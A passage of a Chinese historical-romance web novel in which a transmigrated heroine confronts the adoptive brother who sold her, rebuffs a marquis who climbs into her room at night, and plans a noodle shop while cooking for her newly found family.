就听二表兄对着马车大吼了一声,“还不滚下来!” 于是,马车上连滚带爬的,又滚下来一个清瘦的男子,男子站定后怯懦的看看沈知微,声音支支吾吾,叫了声,“妹妹……” 宋言澈一双眼睛死死的盯着来人,仿佛要将人生吞活剥了去。 叶文章!你竟然还有脸叫她! 第55章 待知微看清男子面容之后,直接被气笑了。沈家人找回她这才半月 待知微看清男子面容之后,直接被气笑了。 沈家人找回她这才半月,同她相认也就这几日而已,这两位表哥倒是神通广大,将她这位养家的兄长给弄过来了。 沈知微只盯着他看,死死的盯着,她捂着自己的胸口,不回应,也不言语,直给叶文章看的将头埋的更低,高氏不清楚其中的缘由,众人却是瞬间明白过来了。 姓叶,叫知微妹妹! 定是叶家那个丧心病狂的养兄! 沈知晖气急!额头青筋冒起,一脚狠狠将人踹倒在地,冷声吩咐家丁将人绑了,“抓你的人已经在路上了,你好大的胆子!倒自己送上门来了!” 叶文章自知理亏,也知眼前的都是知微货真价实的家人,他敢怒不敢言,这一路他可是被揍了不知多少顿了。 高氏一听这话,倒是明白了几分,面色也沉了下来,摆摆手,叫众人先回府,在门口闹像什么样子。 沈知蕴早已朝丫鬟递了个眼色,叫人去请父亲去了。 宋言澈死死盯着叶文章,他从未想过这个懦弱无能的人竟然会有胆子将知微给设局卖掉! 很好,叶文章!你来了! 沈父急匆匆赶来,看到的便是被揍的满脸青紫的叶文章,他眉头紧皱,扫了眼厅中的所有人。 妻子眼睛红肿,应是刚哭过,看也不看他,只紧紧攥着小女儿的手,满脸的疼惜。 大女儿轻抚着娘亲的背,朝他微微摇摇头,表示娘亲无事。 翠儿则是一脸紧张的守着知微,分不出半点眼神来。 大儿子还是一脸怒气,养子还未回来,外甥低着头,没敢抬头看他。 聂斐然和宋言澈叫他进来,躬身向他行礼,他点点头,却径直来到宋言澈身前,沉声道,“倒是一直不知道小宋大人同小女还有如此的渊源,今日之事,乃是家事,老夫便道一声慢走不送!” 这是撵人。 宋言澈轻吸口气,不敢有所僭越,躬身道:“是,下官告辞。” 不舍得望了知微一眼,转身便离开了沈府。 他告诉自己,沉住气,沉住气,还不到时候,再等等,再等等。 有仇报仇有怨报怨,他目前还没有资格站在这里,他会努力,他必须努力! 在见到叶文章的那一瞬,知微的心脏便骤然绷紧,她面上装作无事,手却不由自主的抚上了心口。 翠儿一直在注视着她,见她脸色隐隐发白,头上冒着细密的汗,一把将人扶住,待知微反应过来的时候,已经坐在正厅了。 见知微清醒过来,沈家众人总算是放下了心,叶文章被五花大绑的扔在地上,府医给知微把了迈,说是气急攻心,注意休息便好。 知微知道,是原主在生气。 但是在此时,她也分不清自己和原主了,她有着原主的记忆,用着原主的身体,目前正享受着原主亲生父母亲人的温暖,她能够感受到原主对叶家双亲的情感,在又见到叶文章之后的失望和愤怒,那种气急攻心之痛她也感受了一遍,她又怎么能不恨呢! 这个仇!她必须得替原主报了! 不能要他的命!那而今的她便是他的报应! 原来,叶文章是自己进的京。 他在临县实在是混不下去了。 因他懦弱,妻子卷了钱财跟人跑了,他从县衙下人口中得知小妹应是跟了京中的贵人走了,便将家中的房屋卖了,只身进了京城。 却没想,半路遇到了歹人,将他身上的银钱全都偷了去,他只好一路沿街乞讨的往京城去。 好不容易快到了京城,他又病倒在路边,差点没冻死,是聂斐然看他可怜,叫人将他抬到马车上,才捡回一条命。 聂斐然,聂家当代长子。 其祖父是高氏的亲舅舅,高氏的母亲和聂斐然的祖父为一母同袍的嫡亲兄妹。 两家关系好,聂斐然自小便跟着沈鸿在京中上学,一直由沈鸿教养着。 只聂斐然自小便身子骨不好,娘胎里带来的毛病,一到冬日便三天两头的生病,近两年,聂斐然一直在京都不远神医所在的青云谷中养病,接到沈知微找到的消息,这便急匆匆赶了过来。 路上还碰到了从江南一路踏马急来的二表弟。 一路紧赶慢赶,终于在今日午时赶至了京城。 只是更巧合的是,他们在同叶文章聊天的中听到他要找的妹妹,竟于姑父信中的知微是同样的名字,还是同一地方的,仔细盘问之下,信息竟和姑父信中的只言片语一般无二! 二表哥在路上是气的揍了一顿又一顿,恨不得当场便打死他! 好在他有数,怕表妹认不出叶文章来,没打脸。 半晌,知微挣脱了家人的手,一步一步走了过去。 她蹲下,脑海里全是原主记忆里的叶家父母,叶父时常从外头带回来她最爱的桂花糕,小心的递到她手上,叫她快吃。 娘亲会买了漂亮的头花,一朵一朵的给她戴上,笑望着她,说她女儿便是与天上的仙女比,也是不差什么的。 他们会对她含着泪说抱歉啊孩子,爹娘无用,只能将你拘在院子里。 他们竭尽全力的保护着她,不叫她受一点委屈。 就那样好的叶家父母,却生出了如此懦弱不成气的东西。 知微望着他,咬着牙,一字一句问道:“那个女人,得了卖我银两,便跟人跑了?” 叶文章抱着头蜷缩在地上,也不敢看她,只是点头。 她继续问:“家中的所有东西,都被你卖了?” 语气却不自觉变的尖锐起来,“爹爹的那些藏书,他一笔一划抄下来又自己,自己定装好的书,全被你卖了?” “娘守护了几十年的家,全被你给卖了?” “叶文章!你怎么敢!你怎么敢啊!” 她变得愈发激动起来,她跪坐在地上,双手扑向了叶文章,一拳一拳的砸向他得身上,待她反应过来,已是满脸的泪水。 叶文章只抱着头被她打着,也不敢张口,知微像是发了疯般,不住的发泄着自己的情绪。 她明明可以过的很好的! 即使双亲去了,她明明也可以等到宋哥哥回家娶她的!可是因为兄嫂的贪婪,兄长无用,她身陷囹圄,一口气没上来,就这么去了! 穿过来的叶知微仿佛已经成了原身,她恨这个没用的兄长,她一拳一拳的砸在他身上,直到翠儿没忍住,将她抱住,“姐姐,姐姐不要打了,手疼不疼,不要打了,姐姐,姐姐。” 翠儿怕她过于激动,将她死死抱住,知微深吸口气,平复心情。 高氏哭到几近晕厥,还是死死撑着一口气,她要听完事情的真相!她要知道自己女儿到底是受了多少委屈!她要为女儿报仇! 沈家男子,皆站在知微身后,默默守护着。 沈知蕴跪在妹妹身旁,同翠儿一左一右紧张的护着妹妹。 知微深吸口气,继续问道,“那位县令的大舅兄,给了你多少银子?” 叶文章跪在她身旁,抱着头,呜咽道:“一,一百两……” “一百两?才一百两你就将我卖了?就算你从小不喜欢我,你就眼睁睁的,将我往火坑里推??哥,你是我哥!你怎么可以为了一百两将我卖掉!你怎么可以!” 知微捂着心口,她感觉到自己要死了,胸腔里有一口气始终上不来下不去,她要被闷死掉了。 叶文章摇头,“不是的,不是的,是你嫂子,是她说到大户人家做妾是去享福的,可是我,我第二日便后悔了,我问她要钱我要去将你赎回来,但是却被她和,和她那表兄打了一顿!我想去赎回你的!对不起小妹,对不起!” “那日她便拿着钱同那男人跑了,我着急赶回家,我想将房子卖了去赎你,我一瘸一拐的往家里走,在半路上却碰到了自称是县令夫人陪嫁的婆子,她给了我二十两,说你被京中的贵人给带走了,去京城享福去了,我说我不要钱,我要去找妹妹,我要将你赎回来!那婆子叫我不要痴心妄想,说你已经飞上了枝头*,不会回来了!” 叶文章的眼泪大颗大颗滴在地上,呜咽的哭泣,他悔啊,他是真的后悔,他为何就听了那个女人的话将小妹推进了火坑了! “后来,后来我伤好了,就将家里能卖的全卖了,咱家的院子,叫我卖了一百两,我带着全部家当,就来京中寻你来了,我,我怕找不着你,爹娘在地下不能安息啊!” 说完他便更大声的哭了起来,一会对不住爹娘,一会对不住妹妹,叶知微捂着胸口,已经哭的上气不接下气了。 她不想哭成这样的,可是她委屈啊,她控制不住! 半晌,谁都没有说话,一时间,厅内只有哭泣的声音。 叶文章却突然像是想到了什么,他脱下身上破烂的夹袄,用力撕开了一道口子,在里面翻找着什么,终于,在陶出的棉絮里他找出了一张叠的四四方方的纸…… 是一张银票,面额百两的银票。 他低着头,颤颤巍巍的将银票展开,放到了知微面前的地板上。 “这是卖了咱家房子得的银票,我,我没动,再饿我也没动,我要拿它来赎回你……” 知微恨啊! 她恨啊! 她看着那张银票,轻轻的笑了,她笑着将她拿了起来,眼泪在笑容里横飞,叫人看了止不住的心酸,“爹娘用一辈子的积蓄,给你娶了那个女人,不是因为娶她,爹的病不会来的那么匆忙,爹娘不会去的那样早……” 她愈发的激动了起来,“爹娘不叫你娶她的!你偏不听!爹娘死了!你将我卖了!一句是她哄骗你我就会信了吗叶文章!凭什么!凭什么我要被你卖来卖去的!凭什么你懦弱我就该原谅你!你知道我经历了什么吗!你知道我几次三番差点被人杀掉吗!我不会原谅你!我不会原谅你的!” “我已经是死了一次的人了!不!我已经死了两次了!对你,我不会心软!” 她激动的站了起来! 她指着叶文章,她曾经的兄长,她心中的怒火无以复加,她无法宣泄!她生气的又扑到了他得身上,她紧紧的攥着那张一百两的银票,那是她的家啊!她一拳一脚踢到他身上,用尽了全身的力气,她恨不得杀了他! 她恨不得杀了他! 可是不行啊,她不能啊,爹娘就这一个孩子了…… 她发了疯是的,对着他又一顿拍打发泄,翠儿望着她哭成了泪人,却没再阻拦,她帮姐姐支着身体,叫她不要轻易倒下。 所有人都神情愤恨望着这个懦夫,恨不得扒了他的皮,恨不得一刀一刀将他剁碎了喂狗! 沈父将沈母揽在怀中,夫妻二人老泪众横,失而复得的喜悦被女儿痛苦的经历完全取代,他们怎能不怨呢! 怎能不怨呢! 半晌,知微似是累了,不再打了。 她头上的钗环都已经散落,眼睛哭的又红又肿,像是受了巨大的打击一般,她靠在翠儿身上,将银票一把扔在了叶文章的身上。 她在翠儿和沈知蕴的帮助下,强撑着站了起来。 她缓缓开口:“爹爹,留他一条命,将他送到庄子上去吧,留一口气,别叫他死了。” 沈父嗯了一声,袖口中的手紧握成拳,还在微微颤抖。 他狠狠道了声好,老父亲的心像被人拿刀扎了无数下,密密麻麻的疼。 可知微一句话说完,却仿佛用尽了全身的力气,一头晕倒在翠儿的怀里。 一时间,沈家又乱做一团。” 二表哥高淮安恨恨的盯着叶文章,他走过去,一脚踩上了他的腿,就那么一用力,咔嚓一声,伴随着一声痛呼,叶文章的腿被他硬生生的踩断了,叶文章也随即疼晕过去。 他还不解气,又要来上一脚的时候,却被聂斐然轻轻扯住了胳膊。 聂斐然望着沈知晖抱着知微离开的方向,苍白的面上带着嗜血的寒意,冷声道:“来日方长,别轻易弄死了。” 第56章 高氏今日是出乎所有人预料之外的坚强。丁嬷嬷不住的摸着眼泪,但高氏此 高氏今日是出乎所有人预料之外的坚强。丁嬷嬷不住的摸着眼泪,但高氏此时已经不哭了。 已经不用瞒她了,瞒也瞒不住。 高氏紧紧的攥着翠儿的手,听翠儿诉说女儿在跟了顾铭珏之后发生的事情。 她没再哭泣了。 她知道哭没用。 她的女儿,曾经就离她两条街的距离,小心翼翼伺候着差一点就成了自己大女婿的人。 她恨自己无用,恨那将她女儿抱走的拐子,恨老天爷不公,她恨不得将叶文章夫妻千刀万剐,她恨不得闯进那安定侯府质问她谢老太心到底是什么长的!我那么乖巧的女儿!偏偏她瞧不上! 她恨顾铭珏没有保护好她的女儿,也恨自己这些年一直将自己埋葬在思想的陷阱里,迟迟走不出来。 以后不会了,她发誓,她拼了命也会守护好女儿的! 沈知蕴给昏睡中的小妹掖好被角,眼中满是关切。 也好,来了也好。 省得父亲差人去逮了,至于那个女人,不着急,总有叫他们生不如死的办法。 书房里,沈父听二表哥高淮安说着他和父兄调查到的事情。 这些年,他们借着做生意的便利,也一直在找知微。 虽如大海捞针,但这些年的不懈努力,真的叫他们寻到了一些蛛丝马迹。 线索是在商州断的,原是那群拐子本要将容貌出色的小知微高价给卖到商州附近的妓院,却不想在商州城外小知微因长途跋涉起了疹子,高热昏厥了过去,危在旦夕。 拐子头头怕她传染到其他孩子身上,竟是直接就将六岁的孩子给扔在了路边。 后来是死是活,便是无人知晓了。 其实,顾铭珏短短的时间内能查到知微的身世,皆因他已奉皇命暗查拐卖孩童之事多年,本就经验丰富,能人异士眼线遍布各地,查身世,可比寻人要简单的多。 沈父紧皱着眉头,来日方长,人找到了就是一个好的开始,伤害他女儿的人,他沈鸿一个都不会放过! 用了些参汤,知微便又一次沉沉睡去。 她做了个很长的梦,梦里先是原主短暂的一生,在脑海里走马观花似的,紧接着是穿越后的场景,那些她刻意逢迎低声下气的讨好,那些伤害她的人丑陋不堪的嘴脸,那些她刻意去忘却的记忆,在梦中,都那么走了一遍。 突然间她却又看到了前世的自己,无忧无虑,天真烂漫的叶知微。 梦里的叶知微看着她,还是从前大学生的模样,只是,她笑着笑着便哭了,她们俩谁也没有言语,就这么两两相望…… 后来她便醒了,再也睡不着。 她晕倒之后再醒来,看到了沈家人的满脸关切,心里顿时温暖了许多。 她不断的告诉自己,要将从前的一切都忘掉,她的现在和未来都会过的很幸福,活在当下,这便够了。 用了些米羹,喝了府医开的安神汤后,她其实已经好了很多。只是今日应是打人的时候出了大力,浑身疲累。 被娘亲亲手喂着又喝了些参汤,她便又沉沉睡去。 天也已经黑了,今晚花影守夜。 高氏又忍不住嘱咐了几句,这才带着大女儿和翠儿离开了小院。 只一回到主院,她强撑了一日的身子便累倒了。 没叫惊动儿女,沈鸿喂了妻子汤药看着她沉沉睡去,这才转身去了书房。 儿女们都在,姜恒也下值归家了,一张脸黑的不像话,怒气冲冲的要去将叶文章的另一条腿打断,被沈知蕴给拦了下来。 自此之后,沈家人便有了共同的默契。 在知微面前,再也不提从前这些人和事了。 叶文章也确实只剩了一口气,被送到了京郊的庄子上,有专人看管。 他们有的是办法折磨那叶文章,死太便宜他了,他们要好好的折磨他,叫他见识什么叫做人间炼狱。 至于害知微的那个女人,他们必不会饶恕的,但是这些都没有必要告诉知微了,他们只想叫知微忘掉过去,快快乐乐的活着。 醒了,便睡不着了。 夜已深,知微望着床幔,脑海中一片清明。 答应给娘亲做面条吃的,明日也该兑现,因为刻意讨好,她给顾铭珏做了不知多少次吃食,这一次,她要亲手做给家人尝尝。 面馆的事情,还是得赶紧提上日程来。 翠儿的功课,也得抓紧了。 念秦姐姐不知道在别苑没有,明日她想上街看看…… 忽然间,昏暗的烛火下一道人影被拉长,映在床幔上,她被惊出一身冷汗,她不敢轻举妄动,只闭上了眼睛,继续装作睡熟的样子。 人影在她床前站立了很久,最后似是长叹了口气,才伸手拉开了床幔,坐了下来。 顾铭珏知道她是醒着的。 他坐在床边,静静的看着她乖巧的睡颜,忍不住伸手抚上了她的脸。 他看到她眉头微皱,却装作未醒的样子,有意逗弄。 他摩挲着她的唇,半晌,俯下了身子,在还未碰到她嘴唇的那一刹那,她睁开了眼睛,手上不知何时摸到的簪子狠狠的刺向顾铭珏的脖颈处。 可惜了了,没伤到,能一下刺死他才好。 她的手腕被他握住,簪子在离他脖颈仅剩一毫米的地方停住了。 她眼神凶狠的瞪着半俯在她身上的男人,语气嘲弄,“安定侯大晚上不睡觉,跑到尚书府来!怎么着!翻自己家窗不过瘾!开始翻别人家墙了!” 顾铭珏也不生气,他饶有兴致的望着她咬牙切齿瞪着自己的样子,仿佛一只生气跳脚的波斯猫,他挑了挑唇角,手那么轻轻一用力,知微一声轻呼,手上的簪子掉落,她的双手被顾铭珏举在头顶上,她死死的瞪着他,她知道外间的花影和院里守夜的婆子定是被他给弄晕了,她叫喊没用,她便拿眼神杀死他! 顾铭珏低下头去,嘴唇离她越来越近,她侧过头去躲避,气急,“顾铭珏!我不再是你的妾室了!你给我滚开!” 顾铭珏却轻笑出声,啄了啄她得唇角,开口道:“我知,所以,我会光明正大的娶你进门。” 他放开了钳制她的放手,知微顾不得自己发疼的手腕,忙不迭两人狠狠推开,恶狠狠道:“顾铭珏!你总是这样自以为是!你叫我嫁我就嫁!凭什么?我是你什么玩物吗!顾铭珏!你个混蛋!你给我滚!” 她似是又想起了什么,神情愈发的激动,她拿枕头和她手边能拿到的东西,一股脑的朝顾铭珏掷去! 顾铭珏也慌了。 他自是知道今日尚书府发生的事情,他来便是来安抚她的,倒给人惹生气了。 他始终坚定的认为知微是爱他的,也不知道哪里来的自信。 他叹了口气,不由软了声音,他放下身段去哄她,试图安抚知微的情绪,“好,我是混蛋,以前都是我不对,你不要生气了好不好?我,我会将害你的女人一并找到,咱们叫她生不如死,好不好?” 知微只冷笑着望着他道:“顾铭珏,你是不是还当自己有多么深情呢?你走吧,再也不要来了,你不要想着娶我!我不会嫁给你!死都不会!我也再不想见到你,你当你那劳什子侯府是什么香饽饽吗!呵!至于那什么女人,我爹娘兄长都会替我找到的,就不劳烦您了!” 说完,知微嘲讽的看了他一眼,便将自己埋进了被子里,闭上眼睛翻过了身子,不再搭理身后的男人。 半晌,顾铭珏才长叹一声,从怀里掏出个盒子,转身便消失在夜色里了。 来日方长,他经常来,她定能看到他的真心的。 只是顾铭珏刚一回府,暗夜同其他几名暗卫,便齐刷刷的跪了下来。 顾铭珏心情本就不好,脸色跟锅底似的,暗夜深吸口气,将查到的信件盛了上去。 很长一段时间,书房死一般的寂静,只有顾铭珏翻动纸张的声音。 暗夜等人,大气都不敢喘,顾严试图退到角落,减少自己的存在感。 仿佛是暴风雨之前的平静,半晌之后顾铭珏手下的桌子碎了一地,他发疯一般一掌将书桌拍了个稀碎。 满手的鲜血,他丝毫不觉。 所有人,都试图将自己埋到地板上。 “给安若瑾递信!明日约在别苑!” “是!” 花影一早被月痕叫起来的时候,只揉着酸疼的脖颈,心说自己这一觉怎么睡的这么沉。 月痕却冲她摇摇头嘘了一声,小姐还没醒呢。 “你怎的睡的这么死?这个时辰了还不起,当心被丁嬷嬷瞧见。” 花影摇头,语气里也带着疑惑:“我也不知怎么了,脖子生疼,睡的很沉,一夜睡到天亮,你快先去看看小姐怎么样了,我赶紧叫人给地龙加碳去。” 说完便揉着自己的脖颈急忙出去了,月痕转身去了内室,见小姐还睡着,便轻手轻脚的出去了。 丁嬷嬷叮嘱过她们,不要打扰二小姐休息,听着小姐醒了,再进来伺候。 她蹑手蹑脚的走到外间候着,看天色,小姐也快醒了。心里想着今日给小姐穿什么衣裳,戴什么首饰。 昨日的事情,她们都听说了,心里也是为小姐可惜的,她们这些人,都是家生子,从小便长在沈府,对于找回二小姐,也是她们十分期盼的事情。 老爷夫人待她们这些下人向来亲厚,二小姐能回来,她们也盼了好多年。 如今终于找回来了,不管从前二小姐经历了何事,二小姐都是她们的主子,她们都会尽心尽力的照顾小姐。 小姐貌美,她定要将小姐打扮的更加好看,老爷和夫人看到,也会更加开心的。 知微醒来的时候,已是日上三竿。 小院很是热闹,高氏听翠儿讲平日知微的爱好就是做做美食,看看话本子,找陆兰芷聊天。她想到这孩子还要开面馆,便吩咐下去给如意苑专门劈个小厨房。 一大早还专门叫人去书肆买话本子去了。 女儿平日里用来打发时间也好,研究吃食也罢,总归都有事情做。 知微靠坐在床上,手里拿着顾铭珏夜里留下的盒子把玩,听月痕说着院子里风风火火的景象,一时也弯了嘴角。 这种被家人无时无刻惦记的感觉真好。 她也该起了,将盒子放到枕头下面,想着中午去找念秦的时候,叫念秦姐姐看看。 盒子里除了藏剑簪,还有个似银非银有些地方还是镂空的镯子。 应也是个暗器,顾铭珏将东西留给她,并未留下只言片语,应是抱着想她去求他的心呢。 呵,做梦。 念秦姐姐要是懂,她就学来,要是念秦也不知道,那她就给扔了便是。 至于藏剑簪她则是收下了,她之前戴的那一个终是丢失在了在那混乱不堪的夜晚,如今这个瞧着更锋利了些。 反正不要白不要。 这种好东西,若有下次,她定还会拿。 不知爹爹今日何时下值,状她还是要告的,叫爹爹打他一顿才好呢! 第57章 眼看日上三竿了知微还未起,翠儿已经来了两趟了,但她知道姐姐一向爱睡 眼看日上三竿了知微还未起,翠儿已经来了两趟了,但她知道姐姐一向爱睡懒觉的,便留在院子里看着下人布置小厨房。 毕竟,只有她知道姐姐喜欢什么样子的装饰。 知微收拾齐整出来的时候便见翠儿忙的不亦乐乎。 翠儿又陪着她用了早膳,两人才便结伴往娘亲的院子走去。 高氏刚喝了汤药,她拍拍大女儿的手,叫她不要担心,她不会再糊涂了。 沈知蕴叹了口气,心里却是有些安慰的,这么些年了,娘终于醒悟了,立起来了,有了当家主母的样子。 今日沈家人,包括翠儿和两位表兄,众人都十分的有默契,谁也没提昨日发生的事情,他们只讨论现下要做的,和未来要做的事情。 因为昨日之事,武师傅的教习已推迟到明日开始,翠儿依旧满心的期待,她终于可以接受系统的学习,来保护姐姐了! 知微跟娘亲说了要出去看铺面和去趟别苑的事情。 娘亲见她今日气色不错,自是不会反对,叫沈知蕴和高淮阳陪着她一同出去,好叫她放心。 知微自是乖巧应好。 因为都是自家人,高淮阳对三位表妹也没有男女之意,便没有骑马,陪着表妹们坐在马车内。 聂斐然不在,他一大早便出门去了,要去拜访什么重要之人。 父兄自是都上值去了。 知微思趁半晌,还是将顾铭珏昨夜翻墙之事同沈知蕴说了。 她怕告知娘亲,娘亲再承受不住。 沈知蕴一张脸气的铁青,高淮阳更是要跳下马车追到安定侯府里去。 他被沈知蕴按了下来,最后众人商定先加强知微院子的守卫,其余的,等父亲下值再说。 一路上,沈知蕴都在眉头紧锁,还得想个法子,将安定侯给支出京城,小妹才好安稳的修养些时日。 结果父亲下值后她们才知道,这事儿父亲已经搞定了。 而此时醉江月内,顾铭珏同安若瑾再次见面。 安若瑾虽还是那幅玩世不恭的样子,其实是带了十足的诚意的,他将多年搜罗到的护国公等人谋害顾老侯爷和世子的证据全部拿了出来。 顾铭珏还算淡定的接过,到最后也没有像安若瑾设想的那样跳脚。 他只是沉默了很长时间,声音嘶哑,“顾家家训,只忠于君主,您是什么心思顾某并不关心,但是此次的合作,顾某应了。” 二人说话的时间并不长,安若瑾不情不愿的走了,皇帝有请。 下楼的时候,非常之巧的碰到了沈家一行人。 不巧的是,红叶也在。 他从小到大在红叶这个胆大包天的女人手中吃了无数次教训,今儿个也是老老实实的叫了声红叶姐,顺便才跟沈知蕴挤眉弄眼算是打了招呼才离开的。 沈知蕴则权当看不见,懒得搭理。 念秦有事外出,知微只好粘着红叶求指教。 翠儿惦记着十三,路上买了不少十三爱吃的零嘴,知微给包了好几本娘亲一早差人买回来的话本子,叫人给送到庄子上去了。 高淮阳和沈知蕴亦步亦趋的跟着小妹,生怕一个转身,小妹再消失不见了。 红叶抿着嘴挑着眉望着两人,“这天底下还未有能从我秦红叶身边将人带走呢,你俩将心放到肚子里去吧。” 对一旁的香云使了个眼色,嘴上说的却是,“翠儿,替姐姐好好招待你哥哥姐姐,我同知微说会话。” 说完便扭着水蛇腰,牵着知微的手大摇大摆的走了。 知微朝三人摆摆手,表示一会儿就回来。 沈知蕴无奈,小妹的万人迷属性已经暴露了,还是个男女通吃的,叫他们可如何是好。 红叶姐见多识广,自是知道这手环的用法的。 且做这手环的人,如今也在她身边呢。 她将手环戴在腕上,不知触碰到何处,几根细短的银针便飞射出去,直直钉进墙面,再也看不见了。 知微眨巴着眼睛,在墙上摸索了半天,愣是什么没找到。 红叶笑着叫她回来,叫她将盒子打开,内里的夹层中竟是满满的银针。 红叶也不动手,将手环轻轻望银针上一放,便听到几声细密的声响,银针自动装到了手环里。 像是磁吸原理。 但是知微瞧的分明,这分明是几根银针啊。 红叶刮了刮她得鼻子,说她也不知是为何,大师的作品,总是存了些不为人知的秘密的。 知微笑着点头,学会后便将手环小心收好,她似乎恢复了粘人的属性,扒拉着红叶的胳膊,懒洋洋的靠在人家的肩上,和跟没长骨头似的。 红叶也喜欢她这样,叫人上了些点心,两人聊着家常。 知微想起面馆的事情,忽然变的一本正经起来,絮絮叨叨的将开面馆的事情与红叶说了。 红叶望着她得眼睛里满是赞许。 不错,不骄不躁,努力向上,最重要的,知道将一切掌握在自己手里。 红叶摸摸她的头,忍不住夸赞,“嗯,如此自是不错,但是你不要累到了,多找几个帮工,面馆的店面也不需要太大,试水嘛,不需要太忙,你刚回父母身边,多用些时间陪陪他们。” 知微不住点头,又想到了什么,便道,“庄子上姐姐收留的人,可以找几个老实的会厨艺的过来做帮工,如今天暖了,姐姐不必再养着他们了。” 红叶笑着点头称好,待她定好店面她便将人送来。 这孩子心细,也心善,真的叫人很难不喜欢。 正巧念秦也回来了,红叶叫两人说话,她便出去了。 珏哥儿那定是出事了,她还得去看看。 她们秦顾两家,如今这一辈,只剩她们两个了,她不可能不管不顾。 知微见念秦回来,又是一顿撒娇,还将手环拿了出来,又分享了一次,最后眨巴着眼睛小心翼翼的问念秦能不能教她神不知鬼不觉的给人下毒。 念秦想都没想,直接点头。 知微怔愣了半晌才嗷的一声抱住了念秦,彩虹屁一堆,给念秦整的有些莫名其妙的。 教下毒而已,又不是教制毒,那有什么不能教的。 她早就想教知微些东西防身了,她想学正好。 待某些人不要脸再爬墙,给他下些毒不死的药就是了。 此时隔了几个房间红叶脸色沉的厉害,她细细看完手上的信件,沉思半响道:“趁着陛下的吩咐你去西北,你再去查证一下,两地离的不远。安若瑾心机深沉,他蛰伏了这么多年,不仅仅是为了绊倒国公府,也不会只是为了那个皇位,只怕,他所图更大。” 红叶轻叹一声,“他在逼着你立起顾家军去夺军权呢……先从皇命吧,你最近闹的实在过分,沈大人对你意见本就大,你昨夜又翻了人家府上的墙,罢了,你出去一阵子正好。” 顾铭珏还是那样一张黑俊的脸,只是此时眉头死死的皱在一处,他嗯了一声,“我势必是会查个清楚,沈大人不喜我,乃人之常情,他不向陛下参我才奇怪,只是我这一去,祖母……” 红叶叹了口气,语气颇为无奈,“她那身体好着呢,你放心吧,最近她也是做样子给你看,逼着你将顾青禾放出来呢,越老越糊涂了,你安心的去,公务要紧,不必在意顾青禾,她敢蹦跶,我就是打断她的腿也没人敢说的。我带念秦去侯府照顾祖母,府上的事你不必忧心。” 顾铭珏点头,这才放下了心,他这次不光受命去西北,还要去趟江南,这一下,没三五个月定是回不来的。 红叶见顾铭珏磨蹭的模样,便知些人在惦记什么,这三十而立的年纪竟然还儿女情长起来,开窍也太晚了些。 想到一早来人汇报他昨夜的荒唐事,她免不了出声训斥:“你也不是小孩子了,怎么就做出翻墙的事情来!知微现在是尚书府千金,你若有心求娶,便请冰人三书六聘正大光明的上门,行那些不苟之事不是君子所为!以后切勿再做了!” 顾铭珏也知自己有些过分,有些心虚的摸摸鼻子,窗外响起了两声鸟叫,顾铭珏起身,他该走了。 他开门的瞬间迟疑了下,回头望着红叶,“这些日子,你且帮我照看她。” 红叶翻了个大大的白眼,“她可比你讨人喜欢多了,不用你多嘴我也会照看好她,赶紧滚!” 顾铭珏麻利的滚了。 不料刚一出门便见知微从拐角出来,他心头的阴霾瞬间消失,他自觉深情的望了知微一眼,未有任何言语,转身下了楼。 知微只做没看见。 她要带念秦去见表兄和姐姐,顺便一起用膳,她怕再不去找她们,她们要沉不住气了。 乐乐呵呵的用了午膳她们一行人便离开了。 还要去选店铺,她定了两处,车夫直接带她们过去。 最终还是选定了北城平民区的一间二层的商铺,带有后院。 邻着闹市,倒还算热闹。 门前空地挺大,天气热起来也可以在门口摆几张桌子。 这家店铺同旁边的两间铺子地契都在她这,目前这一间处于闲置的状态,之前是个包子铺,生意一直还算好,前几日店家决定回乡生活了,房租到期便不续了,这两日已经在打包行礼,准备返乡了。 定好便直接回府了。 知微要大展厨艺,翠儿也好久没同姐姐一起做饭了,正跃跃欲试呢。 她可是姐姐最得力的帮手了! 早晨便叫花影吩咐大厨房喂了鸡汤和大骨汤,她拿来做面的汤底。 因为她要做面,厨房管事热切的很,一早买了不少高价的温室菜,今日运气十分的好,还买到了牛肉。 知微看到牛肉,眼睛都亮了许多,免不了夸赞几句,这么一大块牛肉,可是不好买呢。 在古代,杀牛都是要到官府备案的,她看着面前的十斤牛肉,准备要大干一场,卤一多半,红烧一些,留一些冻上回头吃锅子。 家中人多,她打算多做几种臊子。 炸酱面是一定要做的,她做炸酱的手艺可是得奶奶的亲传,香的很呢。 吩咐厨娘帮她切了些细细的肉丝,她准备多做几种肉丝面,雪白,酸菜,香干,全都是肉丝的最佳伴侣。 牛肉分成大小均匀的肉块,准备卤牛肉。可惜不是牛腱子,但也都是很好的黄牛肉,她知足,今日可是有口福了。 她观那些新鲜的蔬菜,到底是大户人家,才二月就能吃上如此新鲜的绿叶菜了,菠菜芹菜小白菜,竟然还有青瓜,都非常之新鲜。 她转身问沈知蕴家里人可有忌口,沈知蕴摇头,“咱家人倒是都没有忌口,不过,斐然他平时爱吃素。” 知微撇撇嘴,难怪那么瘦,这人挑食啊,臭毛病,得治。 知微点头,便是她已知晓,她的手艺,包满意的。 有新鲜的菠菜,便决定做个菠菜鸡蛋面,又发了些香菇,做个香菇鸡丁面。 再用麻酱拌个面。 菜吗,炒个鸡蛋虾仁,清炒个小白菜。 再拌个酸甜口的白萝卜就成了。 还有卤肉呢。 一家人用膳,不整那些虚的。 翠儿已经在揉面了,完全按照知微的步骤,一整个厨房都忙的热火朝天的。 厨娘们切菜的切菜,切肉的切肉,地锅里噼里啪啦的在炸着花生,每一个人都在有条不紊的干活。 连沈知蕴都在帮着摘菜呢。 高淮阳撇撇嘴,觉得无趣,也怕知微拉他干活,一撅腚跑了。 高氏休息了一日,此时已经恢复了很多,她听说两个女儿都在厨房呢,免不了要去看看。 刚站到厨房门口,便一眼见到了小女儿忙碌的身影,手起刀落干脆利索,那架势一看就是做惯了的。 她免不了内心又是一顿自责,她那本应养在膝下十指不沾阳春水的女儿,此时见到她来了,笑颜如花的叫了声娘亲,见娘亲的面色不是很好,眼珠子转了转道:“娘亲,厨房油烟大,您先去休息,一会您就能吃到女儿的手艺了,姐姐也别摘菜了,快陪陪娘亲聊天去,这些菜够用了,这么多人帮我呢,一会就好。” 这是知微第三次撵沈知蕴了,不是她不想叫姐姐帮忙,那个菜,被姐姐摘的就剩个菜心了,太浪费了。 沈知蕴也知妹妹是嫌弃自己呢,她咳嗽两声简单净了手,便扶着娘亲出去了。 高氏点点头,也知自己留下是添乱呢,也没再说什么,带着对今日晚膳的期待同大女儿一起离开了。 第58章 聂斐然回来后便也去了厨房。他安静的站在角落,他的眉目已…… 聂斐然回来后便也去了厨房。 